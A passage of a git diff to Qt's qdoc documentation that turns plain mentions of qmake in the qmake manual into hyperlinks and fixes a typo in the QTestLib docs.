+2570,13 @@ This variable contains the location of the X11 library directory.The value of this variable is typically handled by - \c qmake or + \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LIBS This variable contains all project libraries. The value of this - variable is typically handled by \c qmake or + variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LIBS_CONSOLE @@ -2591,13 +2592,13 @@ This variable contains all EGL libraries when building Qt with OpenGL/ES or OpenVG. The value of this variable is typically - handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely + handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. The usual value is \c{-lEGL}. \section1 QMAKE_LIBS_OPENGL This variable contains all OpenGL libraries. The value of this - variable is typically handled by \c qmake or + variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. If the OpenGL implementation uses EGL (most OpenGL/ES systems), @@ -2606,7 +2607,7 @@ \section1 QMAKE_LIBS_OPENGL_QT This variable contains all OpenGL Qt libraries.The value of this - variable is typically handled by \c qmake or + variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LIBS_OPENGL_ES1, QMAKE_LIBS_OPENGL_ES2 @@ -2614,7 +2615,7 @@ These variables contain all the OpenGL libraries for OpenGL ES 1 and OpenGL ES 2. - The value of these variables is typically handled by \c qmake or + The value of these variables is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. If the OpenGL implementation uses EGL (most OpenGL/ES systems), @@ -2623,7 +2624,7 @@ \section1 QMAKE_LIBS_OPENVG This variable contains all OpenVG libraries. The value of this - variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} + variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. The usual value is \c{-lOpenVG}. Some OpenVG engines are implemented on top of OpenGL. This will @@ -2636,7 +2637,7 @@ \section1 QMAKE_LIBS_QT This variable contains all Qt libraries.The value of this - variable is typically handled by \c qmake or + variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LIBS_QT_DLL @@ -2644,21 +2645,21 @@ \e {This is used on Windows only.} This variable contains all Qt libraries when Qt is built as a dll. The - value of this variable is typically handled by \c qmake or + value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LIBS_QT_OPENGL This variable contains all the libraries needed to link against if OpenGL support is turned on. The - value of this variable is typically handled by \c qmake or + value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LIBS_QT_THREAD This variable contains all the libraries needed to link against if thread support is turned on. The - value of this variable is typically handled by \c qmake or + value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LIBS_RT @@ -2667,7 +2668,7 @@ This variable contains the runtime library needed to link against when building an application. The - value of this variable is typically handled by \c qmake or + value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LIBS_RTMT @@ -2676,7 +2677,7 @@ This variable contains the runtime library needed to link against when building a multi-threaded application. The - value of this variable is typically handled by \c qmake or + value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LIBS_THREAD @@ -2685,7 +2686,7 @@ This variable contains all libraries that need to be linked against when building a multi-threaded application. The - value of this variable is typically handled by \c qmake or + value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LIBS_WINDOWS @@ -2693,7 +2694,7 @@ \e {This is used on Windows only.} This variable contains all windows libraries.The value of this - variable is typically handled by \c qmake or + variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LIBS_X11 @@ -2701,7 +2702,7 @@ \e {This is used on Unix platforms only.} This variable contains all X11 libraries.The value of this - variable is typically handled by \c qmake or + variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LIBS_X11SM @@ -2709,20 +2710,20 @@ \e {This is used on Unix platforms only.} This variable contains all X11 session management libraries. The - value of this variable is typically handled by \c qmake or + value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LIB_FLAG This variable is not empty if the \c lib template is specified. The - value of this variable is typically handled by \c qmake or + value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LINK_SHLIB_CMD This variable contains the command to execute when creating a shared library. The - value of this variable is typically handled by \c qmake or + value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LN_SHLIB @@ -2752,7 +2753,8 @@ This variable determines the name of the project when generating project files for IDEs. The default value is the target name. The value of this - variable is typically handled by \c qmake and rarely needs to be modified. + variable is typically handled by \l {qmake}{ \c qmake} and rarely needs + to be modified. \section1 QMAKE_MAC_SDK @@ -2772,26 +2774,26 @@ \section1 QMAKE_MAKEFILE This variable contains the name of the Makefile to create. The - value of this variable is typically handled by \c qmake or + value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_MOC_SRC This variable contains the names of all moc source files to generate and include in the project. The value of this variable is - typically handled by \c qmake or + typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_QMAKE This variable contains the location of qmake if it is not in the path. - The value of this variable is typically handled by \c qmake or + The value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_QT_DLL This variable is not empty if Qt was built as a dll. The - value of this variable is typically handled by \c qmake or + value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_RESOURCE_FLAGS @@ -2821,37 +2823,37 @@ \section1 QMAKE_RUN_CC This variable specifies the individual rule needed to build an object. - The value of this variable is typically handled by \c qmake or + The value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_RUN_CC_IMP This variable specifies the individual rule needed to build an object. - The value of this variable is typically handled by \c qmake or + The value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_RUN_CXX This variable specifies the individual rule needed to build an object. - The value of this variable is typically handled by \c qmake or + The value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_RUN_CXX_IMP This variable specifies the individual rule needed to build an object. - The value of this variable is typically handled by \c qmake or + The value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_TARGET This variable contains the name of the project target. The value of - this variable is typically handled by \c qmake or + this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_UIC This variable contains the location of uic if it is not in the path. - The value of this variable is typically handled by \c qmake or + The value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. It can be used to specify arguments to uic as well, such as additional plugin @@ -2924,7 +2926,7 @@ \section1 RC_FILE This variable contains the name of the resource file for the application. - The value of this variable is typically handled by \c qmake or + The value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target RCC_DIR @@ -2957,7 +2959,7 @@ \section1 RES_FILE This variable contains the name of the resource file for the application. - The value of this variable is typically handled by \c qmake or + The value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target RSS_RULES @@ -3048,10 +3050,10 @@ \section1 SRCMOC - This variable is set by \c qmake if files can be found that + This variable is set by \l {qmake}{ \c qmake}if files can be found that contain the Q_OBJECT macro. \c SRCMOC contains the name of all the generated moc files. The value of this variable - is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be + is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target SUBDIRS @@ -3067,7 +3069,7 @@ \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 50 It is essential that the project file in each subdirectory has the same - name as the subdirectory itself, so that \c qmake can find it. + name as the subdirectory itself, so that \l {qmake}{ \c qmake}can find it. For example, if the subdirectory is called \c myapp then the project file in that directory should be called \c myapp.pro. @@ -3199,19 +3201,19 @@ \section1 TARGET_EXT This variable specifies the target's extension. The value of this variable - is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be + is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 TARGET_x This variable specifies the target's extension with a major version number. The value of this variable - is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be + is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 TARGET_x.y.z This variable specifies the target's extension with version number. The value of this variable - is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be + is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target TEMPLATE @@ -3259,14 +3261,14 @@ This variable contains a list of the generated implementation files by UIC. The value of this variable - is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be + is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 UICOBJECTS This variable is generated from the UICIMPLS variable. The extension of each file will have been replaced by .o (Unix) or .obj (Win32). The value of this variable is - typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and + typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target UI_DIR @@ -3328,8 +3330,8 @@ \section1 VPATH - This variable tells \c qmake where to search for files it cannot - open. With this you may tell \c qmake where it may look for things + This variable tells \l {qmake}{ \c qmake}where to search for files it cannot + open. With this you may tell \l {qmake}{ \c qmake}where it may look for things like SOURCES, and if it finds an entry in SOURCES that cannot be opened it will look through the entire VPATH list to see if it can find the file on its own. @@ -3339,13 +3341,13 @@ \section1 YACCIMPLS This variable contains a list of yacc source files. The value of - this variable is typically handled by \c qmake or + this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 YACCOBJECTS This variable contains a list of yacc object files. The value of - this variable is typically handled by \c qmake or + this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target YACCSOURCES @@ -3386,7 +3388,7 @@ \previouspage qmake Variable Reference \nextpage Configuring qmake's Environment - \c qmake provides built-in functions to allow the contents of + \l {qmake}{ \c qmake}provides built-in functions to allow the contents of variables to be processed, and to enable tests to be performed during the configuration process. Functions that process the contents of variables typically return values that can be assigned @@ -3457,7 +3459,7 @@ \section1 error(string) - This function never returns a value. \c qmake displays the given + This function never returns a value. \l {qmake}{ \c qmake}displays the given \e string to the user, and exits. This function should only be used for unrecoverable errors. @@ -3533,7 +3535,7 @@ \section1 infile(filename, var, val) [Conditional] - Succeeds if the file \e filename (when parsed by \c qmake itself) + Succeeds if the file \e filename (when parsed by \l {qmake}{ \c qmake}itself) contains the variable \e var with a value of \e val; otherwise fails. If you do not specify a third argument (\e val), the function will only test whether \e var has been declared in the file. @@ -3655,7 +3657,7 @@ \target Properties \section1 Properties - \c qmake has a system of persistent information, this allows you to + \l {qmake}{ \c qmake}has a system of persistent information, this allows you to \c set a variable in qmake once, and each time qmake is invoked this value can be queried. Use the following to set a property in qmake: @@ -3677,19 +3679,19 @@ version of \c qmake, and newer versions will retrieve this value. However, if you set \c VARIABLE for a newer version of \c qmake, the older version will not use this value. You can however query a specific version of a - variable if you prefix that version of \c qmake to \c VARIABLE, as in + variable if you prefix that version of \l {qmake}{ \c qmake}to \c VARIABLE, as in the following example: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 76 - \c qmake also has the notion of \c builtin properties, for example you can - query the installation of Qt for this version of \c qmake with the + \l {qmake}{ \c qmake}also has the notion of \c builtin properties, for example you can + query the installation of Qt for this version of \l {qmake}{ \c qmake}with the \c QT_INSTALL_PREFIX property: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 77 These built-in properties cannot have a version prefixed to them as - they are not versioned, and each version of \c qmake will have its own + they are not versioned, and each version of \l {qmake}{ \c qmake}will have its own built-in set of these values. The list below outlines the built-in properties: @@ -3707,7 +3709,7 @@ \target QMAKESPEC \section1 QMAKESPEC - \c qmake requires a platform and compiler description file which + \l {qmake}{ \c qmake}requires a platform and compiler description file which contains many default values used to generate appropriate Makefiles. The standard Qt distribution comes with many of these files, located in the \c mkspecs subdirectory of the Qt installation. @@ -3716,8 +3718,8 @@ \list \o A complete path to a directory containing a \c{qmake.conf} file. - In this case \c qmake will open the \c{qmake.conf} file from within that - directory. If the file does not exist, \c qmake will exit with an + In this case \l {qmake}{ \c qmake}will open the \c{qmake.conf} file from within that + directory. If the file does not exist, \l {qmake}{ \c qmake}will exit with an error. \o The name of a platform-compiler combination. In this case, \c qmake will search in the directory specified by the \c mkspecs subdirectory @@ -3733,14 +3735,14 @@ It is common on Unix to also use the build tool to install applications and libraries; for example, by invoking \c{make install}. For this reason, - \c qmake has the concept of an install set, an object which contains + \l {qmake}{ \c qmake}has the concept of an install set, an object which contains instructions about the way part of a project is to be installed. For example, a collection of documentation files can be described in the following way: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 79 - The \c path member informs \c qmake that the files should be installed in + The \c path member informs \l {qmake}{ \c qmake}that the files should be installed in \c /usr/local/program/doc (the path member), and the \c files member specifies the files that should be copied to the installation directory. In this case, everything in the \c docs directory will be coped to @@ -3751,10 +3753,10 @@ \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 80 - \c qmake will ensure that the specified files are copied to the installation + \l {qmake}{ \c qmake}will ensure that the specified files are copied to the installation directory. If you require greater control over this process, you can also provide a definition for the \c extra member of the object. For example, - the following line tells \c qmake to execute a series of commands for this + the following line tells \l {qmake}{ \c qmake}to execute a series of commands for this install set: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 81 @@ -3769,21 +3771,21 @@ in the other members of the object are performed. If you append a built-in install set to the \c INSTALLS variable and do - not specify \c files or \c extra members, \c qmake will decide what needs to + not specify \c files or \c extra members, \l {qmake}{ \c qmake}will decide what needs to be copied for you. Currently, the only supported built-in install set is \c target: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 82 - In the above lines, \c qmake knows what needs to be copied, and will handle + In the above lines, \l {qmake}{ \c qmake}knows what needs to be copied, and will handle the installation process automatically. \target cache \section1 Cache File - The cache file is a special file \c qmake reads to find settings not specified + The cache file is a special file \l {qmake}{ \c qmake}reads to find settings not specified in the \c qmake.conf file, project files, or at the command line. If - \c -nocache is not specified when \c qmake is run, it will try to find a file + \c -nocache is not specified when \l {qmake}{ \c qmake}is run, it will try to find a file called \c{.qmake.cache} in parent directories of the current directory. If it fails to find this file, it will silently ignore this step of processing. @@ -3793,7 +3795,7 @@ \target LibDepend \section1 Library Dependencies - Often when linking against a library, \c qmake relies on the underlying + Often when linking against a library, \l {qmake}{ \c qmake}relies on the underlying platform to know what other libraries this library links against, and lets the platform pull them in. In many cases, however, this is not sufficent. For example, when statically linking a library, no other @@ -3805,19 +3807,19 @@ this behavior must be explicitly enabled by following two steps. The first step is to enable dependency tracking in the library itself. - To do this you must tell \c qmake to save information about the library: + To do this you must tell \l {qmake}{ \c qmake}to save information about the library: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 83 This is only relevant to the \c lib template, and will be ignored for - all others. When this option is enabled, \c qmake will create a file + all others. When this option is enabled, \l {qmake}{ \c qmake}will create a file ending in .prl which will save some meta-information about the library. This metafile is just like an ordinary project file, but only contains internal variable declarations. You are free to view this file - and, if it is deleted, \c qmake will know to recreate it when necessary, + and, if it is deleted, \l {qmake}{ \c qmake}will know to recreate it when necessary, either when the project file is later read, or if a dependent library (described below) has changed. When installing this library, by - specifying it as a target in an \c INSTALLS declaration, \c qmake will + specifying it as a target in an \c INSTALLS declaration, \l {qmake}{ \c qmake}will automatically copy the .prl file to the installation path. The second step in this process is to enable reading of this meta @@ -3825,11 +3827,11 @@ \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 84 - When this is enabled, \c qmake will process all libraries linked to - by the application and find their meta-information. \c qmake will use + When this is enabled, \l {qmake}{ \c qmake}will process all libraries linked to + by the application and find their meta-information. \l {qmake}{ \c qmake}will use this to determine the relevant linking information, specifically adding values to the application project file's list of \c DEFINES as well as - \c LIBS. Once \c qmake has processed this file, it will then look through + \c LIBS. Once \l {qmake}{ \c qmake}has processed this file, it will then look through the newly introduced libraries in the \c LIBS variable, and find their dependent .prl files, continuing until all libraries have been resolved. At this point, the Makefile is created as usual, and the libraries are @@ -3843,9 +3845,9 @@ \target Extensions \section1 File Extensions - Under normal circumstances \c qmake will try to use appropriate file extensions + Under normal circumstances \l {qmake}{ \c qmake}will try to use appropriate file extensions for your platform. However, it is sometimes necessary to override the default - choices for each platform and explicitly define file extensions for \c qmake to use. + choices for each platform and explicitly define file extensions for \l {qmake}{ \c qmake}to use. This is achieved by redefining certain built-in variables; for example the extension used for \l moc files can be redefined with the following assignment in a project file: @@ -3871,19 +3873,19 @@ accept a list of values: \list - \o QMAKE_EXT_CPP - Causes \c qmake to interpret all files with these suffixes as + \o QMAKE_EXT_CPP - Causes \l {qmake}{ \c qmake}to interpret all files with these suffixes as C++ source files. - \o QMAKE_EXT_H - Causes \c qmake to interpret all files with these suffixes as + \o QMAKE_EXT_H - Causes \l {qmake}{ \c qmake}to interpret all files with these suffixes as C and C++ header files. \endlist \target Customizing \section1 Customizing Makefile Output - \c qmake tries to do everything expected of a cross-platform build tool. + \l {qmake}{ \c qmake}tries to do everything expected of a cross-platform build tool. This is often less than ideal when you really need to run special platform-dependent commands. This can be achieved with specific instructions - to the different \c qmake backends. + to the different \l {qmake}{ \c qmake}backends. Customization of the Makefile output is performed through an object-style API as found in other places in \c qmake. Objects are defined automatically @@ -3891,14 +3893,14 @@ \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 86 - The definitions above define a \c qmake target called \c mytarget, containing + The definitions above define a \l {qmake}{ \c qmake}target called \c mytarget, containing a Makefile target called \c{.buildfile} which in turn is generated with the \c touch command. Finally, the \c{.depends} member specifies that \c mytarget depends on \c mytarget2, another target that is defined afterwards. \c mytarget2 is a dummy target; it is only defined to echo some text to the console. - The final step is to instruct \c qmake that this object is a target to be built: + The final step is to instruct \l {qmake}{ \c qmake}that this object is a target to be built: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 87 @@ -3961,7 +3963,7 @@ \c NEW_HEADERS variable (from the \c input member), and the result is written to the file defined by the \c output member; this file is added to the other source files in the project. - Additionally, \c qmake will execute \c depend_command to generate dependency + Additionally, \l {qmake}{ \c qmake}will execute \c depend_command to generate dependency information, and place this information in the project as well. These commands can easily be placed into a cache file, allowing subsequent @@ -4085,9 +4087,9 @@ \previouspage qmake Platform Notes \nextpage Using Precompiled Headers - Many \c qmake project files simply describe the sources and header files used + Many \l {qmake}{ \c qmake}project files simply describe the sources and header files used by the project, using a list of \c{name = value} and \c{name += value} - definitions. \c qmake also provides other operators, functions, and scopes + definitions. \l {qmake}{ \c qmake}also provides other operators, functions, and scopes that can be used to process the information supplied in variable declarations. These advanced features allow Makefiles to be generated for multiple platforms from a single project file. @@ -4099,7 +4101,7 @@ In many project files, the assignment (\c{=}) and append (\c{+=}) operators can be used to include all the information about a project. The typical pattern of use is to assign a list of values to a variable, and append more values - depending on the result of various tests. Since \c qmake defines certain + depending on the result of various tests. Since \l {qmake}{ \c qmake}defines certain variables using default values, it is sometimes necessary to use the removal (\c{-=}) operator to filter out values that are not required. The following operators can be used to manipulate the contents of variables. @@ -4175,8 +4177,8 @@ \snippet doc/src/snippets/qmake/scopes.pro 0 The above code will add the \c paintwidget_win.cpp file to the sources listed - in the generated Makefile if \c qmake is used on a Windows platform. - If \c qmake is used on a platform other than Windows, the define will be + in the generated Makefile if \l {qmake}{ \c qmake}is used on a Windows platform. + If \l {qmake}{ \c qmake}is used on a platform other than Windows, the define will be ignored. The conditions used in a given scope can also be negated to provide an @@ -4271,9 +4273,9 @@ \section1 Variables Many of the variables used in project files are special variables that - \c qmake uses when generating Makefiles, such as \c DEFINES, \c SOURCES, + \l {qmake}{ \c qmake}uses when generating Makefiles, such as \c DEFINES, \c SOURCES, and \c HEADERS. It is possible for you to create variables for your own - use; \c qmake creates new variables with a given name when it encounters + use; \l {qmake}{ \c qmake}creates new variables with a given name when it encounters an assignment to that name. For example: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 97 @@ -4300,10 +4302,10 @@ \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 100 Variables can be used to store the contents of environment variables. - These can be evaluated at the time that \c qmake is run, or included + These can be evaluated at the time that \l {qmake}{ \c qmake}is run, or included in the generated Makefile for evaluation when the project is built. - To obtain the contents of an environment value when \c qmake is run, + To obtain the contents of an environment value when \l {qmake}{ \c qmake}is run, use the \c $$(...) operator: \snippet doc/src/snippets/qmake/environment.pro 0 @@ -4337,7 +4339,7 @@ \target VariableProcessingFunctions \section1 Variable Processing Functions - \c qmake provides a selection of built-in functions to allow the + \l {qmake}{ \c qmake}provides a selection of built-in functions to allow the contents of variables to be processed. These functions process the arguments supplied to them and return a value, or list of values, as a result. In order to assign a result to a variable, it is necessary @@ -4365,7 +4367,7 @@ \target ConditionalFunctions \section1 Conditional Functions - \c qmake provides built-in functions that can be used as conditions + \l {qmake}{ \c qmake}provides built-in functions that can be used as conditions when writing scopes. These functions do not return a value, but instead indicate "success" or "failure": @@ -4382,12 +4384,12 @@ \section1 Adding New Configuration Features - \c qmake lets you create your own \e features that can be included in + \l {qmake}{ \c qmake}lets you create your own \e features that can be included in project files by adding their names to the list of values specified by the \c CONFIG variable. Features are collections of custom functions and definitions in \c{.prf} files that can reside in one of many standard directories. The locations of these directories are defined in a number - of places, and \c qmake checks each of them in the following order when + of places, and \l {qmake}{ \c qmake}checks each of them in the following order when it looks for \c{.prf} files: \list 1 @@ -4424,7 +4426,7 @@ \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 103 - With this addition to the \c CONFIG variable, \c qmake will search the + With this addition to the \c CONFIG variable, \l {qmake}{ \c qmake}will search the locations listed above for the \c myfeatures.prf file after it has finished parsing your project file. On Unix systems, it will look for the following file: @@ -4467,7 +4469,7 @@ specified file. Each subsequent compilation is faster because the stable code does not need to be recompiled. - \c qmake supports the use of precompiled headers (PCH) on some + \l {qmake}{ \c qmake}supports the use of precompiled headers (PCH) on some platforms and build environments, including: \list \o Windows @@ -4513,9 +4515,9 @@ \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 105 - \c qmake will handle the rest, to ensure the creation and use of the + \l {qmake}{ \c qmake}will handle the rest, to ensure the creation and use of the precompiled header file. You do not need to include the precompiled - header file in \c HEADERS, as \c qmake will do this if the configuration + header file in \c HEADERS, as \l {qmake}{ \c qmake}will do this if the configuration supports PCH. All platforms that support precompiled headers have the configuration @@ -4581,7 +4583,7 @@ \nextpage qmake Common Projects This tutorial teaches you how to use \c qmake. We recommend that - you read the \c qmake user guide after completing this tutorial. + you read the \l {qmake}{ \c qmake}user guide after completing this tutorial. \section1 Starting off Simple @@ -4599,7 +4601,7 @@ the application is that it's written in Qt. First, using your favorite plain text editor, create a file called \c hello.pro in \c{examples/qmake/tutorial}. The first thing you need to do is add the - lines that tell \c qmake about the source and header files that are part + lines that tell \l {qmake}{ \c qmake}about the source and header files that are part of your development project. We'll add the source files to the project file first. To do this you @@ -4639,7 +4641,7 @@ The final step is to set the \l{qmake Variable Reference#CONFIG}{CONFIG} variable. Since this is a Qt application, we need to put \c qt on the - \c CONFIG line so that \c qmake will add the relevant libraries to be + \c CONFIG line so that \l {qmake}{ \c qmake}will add the relevant libraries to be linked against and ensure that build lines for \c moc and \c uic are included in the generated Makefile. @@ -4647,14 +4649,14 @@ \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 113 - You can now use \c qmake to generate a Makefile for your application. + You can now use \l {qmake}{ \c qmake}to generate a Makefile for your application. On the command line, in your project's directory, type the following: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 114 Then type \c make or \c nmake depending on the compiler you use. - For Visual Studio users, \c qmake can also generate \c .dsp or + For Visual Studio users, \l {qmake}{ \c qmake}can also generate \c .dsp or \c .vcproj files, for example: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 115 @@ -4671,7 +4673,7 @@ \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 116 - Use \c qmake as before to generate a Makefile and you will be able to + Use \l {qmake}{ \c qmake}as before to generate a Makefile and you will be able to obtain useful information about your application when running it in a debugging environment. @@ -4684,15 +4686,15 @@ hellounix.cpp. We can't just add these to the \c SOURCES variable since this will put both files in the Makefile. So, what we need to do here is to use a scope which will be processed depending on - which platform \c qmake is run on. + which platform \l {qmake}{ \c qmake}is run on. A simple scope that will add in the platform-dependent file for Windows looks like this: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 117 - So if \c qmake is run on Windows, it will add \c hellowin.cpp to the - list of source files. If \c qmake is run on any other platform, it + So if \l {qmake}{ \c qmake}is run on Windows, it will add \c hellowin.cpp to the + list of source files. If \l {qmake}{ \c qmake}is run on any other platform, it will simply ignore it. Now all that is left to be done is to create a scope for the Unix-specific file. @@ -4701,13 +4703,13 @@ \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 118 - Use \c qmake as before to generate a Makefile. + Use \l {qmake}{ \c qmake}as before to generate a Makefile. \section1 Stopping qmake If a File Doesn't Exist You may not want to create a Makefile if a certain file doesn't exist. We can check if a file exists by using the exists() function. We can - stop \c qmake from processing by using the error() function. This + stop \l {qmake}{ \c qmake}from processing by using the error() function. This works in the same way as scopes do. Simply replace the scope condition with the function. A check for a \c main.cpp file looks like this: @@ -4719,8 +4721,8 @@ \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 120 - Use \c qmake as before to generate a makefile. If you rename \c - main.cpp temporarily, you will see the message and \c qmake will stop + Use \l {qmake}{ \c qmake}as before to generate a makefile. If you rename \c + main.cpp temporarily, you will see the message and \l {qmake}{ \c qmake}will stop processing. \section1 Checking for More than One Condition @@ -4754,7 +4756,7 @@ \previouspage qmake Tutorial \nextpage Using qmake - This chapter describes how to set up \c qmake project files for three + This chapter describes how to set up \l {qmake}{ \c qmake}project files for three common project types that are based on Qt. Although all kinds of projects use many of the same variables, each of them use project-specific variables to customize output files. @@ -4773,7 +4775,7 @@ \section2 The app Template - The \c app template tells \c qmake to generate a Makefile that will build + The \c app template tells \l {qmake}{ \c qmake}to generate a Makefile that will build an application. With this template, the type of application can be specified by adding one of the following options to the \c CONFIG variable definition: @@ -4784,7 +4786,7 @@ application. \endtable - When using this template the following \c qmake system variables are recognized. + When using this template the following \l {qmake}{ \c qmake}system variables are recognized. You should use these in your .pro file to specify information about your application. @@ -4810,7 +4812,7 @@ You only need to use the system variables that you have values for, for instance, if you do not have any extra INCLUDEPATHs then you do not - need to specify any, \c qmake will add in the default ones needed. + need to specify any, \l {qmake}{ \c qmake}will add in the default ones needed. For instance, an example project file might look like this: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 123 @@ -4826,7 +4828,7 @@ \section2 The lib Template - The \c lib template tells \c qmake to generate a Makefile that will + The \c lib template tells \l {qmake}{ \c qmake}to generate a Makefile that will build a library. When using this template, in addition to the system variables mentioned above for the \c app template the \c VERSION variable is supported. You should use these in your .pro file to specify @@ -4857,7 +4859,7 @@ \section1 Building a Plugin Plugins are built using the \c lib template, as described in the previous - section. This tells \c qmake to generate a Makefile for the project that will + section. This tells \l {qmake}{ \c qmake}to generate a Makefile for the project that will build a plugin in a suitable form for each platform, usually in the form of a library. As with ordinary libraries, the \c VERSION variable is used to specify information about the plugin. @@ -4895,7 +4897,7 @@ ensure that the resulting targets have different names. Providing different names for targets ensures that one will not overwrite the other. - When \c qmake processes the project file, it will generate a Makefile rule + When \l {qmake}{ \c qmake}processes the project file, it will generate a Makefile rule to allow the project to be built in both modes. This can be invoked in the following way: diff --git a/doc/src/development/qtestlib.qdoc b/doc/src/development/qtestlib.qdoc index 34429ae..8924bdb 100644 --- a/doc/src/development/qtestlib.qdoc +++ b/doc/src/development/qtestlib.qdoc @@ -130,7 +130,7 @@ \snippet doc/src/snippets/code/doc_src_qtestlib.qdoc 1 - If you are using other buildtools, make sure that you add the location + If you are using other build tools, make sure that you add the location of the QTestLib header files to your include path (usually \c{include/QtTest} under your Qt installation directory). If you are using a release build of 